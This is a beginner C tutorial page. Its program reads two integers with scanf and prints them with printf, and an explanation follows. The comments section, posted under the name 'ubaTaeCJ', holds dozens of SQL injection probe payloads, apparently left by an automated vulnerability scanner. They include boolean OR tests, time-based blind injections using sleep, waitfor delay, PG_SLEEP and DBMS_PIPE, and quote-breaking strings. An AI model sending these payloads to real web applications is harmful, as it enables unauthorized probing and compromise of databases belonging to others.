C Program to print two numbers with a space between them

Get two integer numbers, dispaly them with single space

Sample Input 1:

5 6

Sample Output 1:

5 6

Sample Input 2:

65 4

Sample Output 2:

65 4

Program or Solution

				
			
					
//Program to print two numbers with space
#include<stdio.h>
int main()
{
	int num1,num2;
	printf("Eneter two numbers:");
	scanf("%d %d",&num1,&num2);
	printf("\nEntered numbers: %d %d",num1,num2);
	return  0;
}
			
				
			

Program Explanation

scanf is a function available(predefined) in c library to get input from user via keyboard and stores the same in a variable.

Here it reads two input numbers and stores it in a variable num1 and num2.

Format Specifier "%d %d" reads two integers.

printf is a function available(pre defined) in C library which is used to print the specified content in Monitor.

Here it prints the value of the variable num1 and num2.

Format Specifier "%d %d" prints value of num1 and num2 with space.

Comments

ubaTaeCJ
-1 OR 2+174-174-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+174-174-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+174-174) --
ubaTaeCJ
-1 OR 3*2>(0+5+174-174) --
ubaTaeCJ
-1 OR 2+188-188-1=0+0+0+1
ubaTaeCJ
-1 OR 3+188-188-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+188-188)
ubaTaeCJ
-1 OR 3*2>(0+5+188-188)
ubaTaeCJ
-1' OR 2+262-262-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+262-262-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+262-262) --
ubaTaeCJ
-1' OR 3*2>(0+5+262-262) --
ubaTaeCJ
-1' OR 2+82-82-1=0+0+0+1 or 'd1iq5g2y'='
ubaTaeCJ
-1' OR 3+82-82-1=0+0+0+1 or 'd1iq5g2y'='
ubaTaeCJ
-1' OR 3*2<(0+5+82-82) or 'd1iq5g2y'='
ubaTaeCJ
-1' OR 3*2>(0+5+82-82) or 'd1iq5g2y'='
ubaTaeCJ
-1" OR 2+815-815-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+815-815-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+815-815) --
ubaTaeCJ
-1" OR 3*2>(0+5+815-815) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
EqP2lrja'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 390=(SELECT 390 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 384=(SELECT 384 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 539=(SELECT 539 FROM PG_SLEEP(15))--
ubaTaeCJ
sKiydZ9m' OR 615=(SELECT 615 FROM PG_SLEEP(15))--
ubaTaeCJ
9kXg3sjO') OR 950=(SELECT 950 FROM PG_SLEEP(15))--
ubaTaeCJ
ysc9izzK')) OR 251=(SELECT 251 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@vvMMn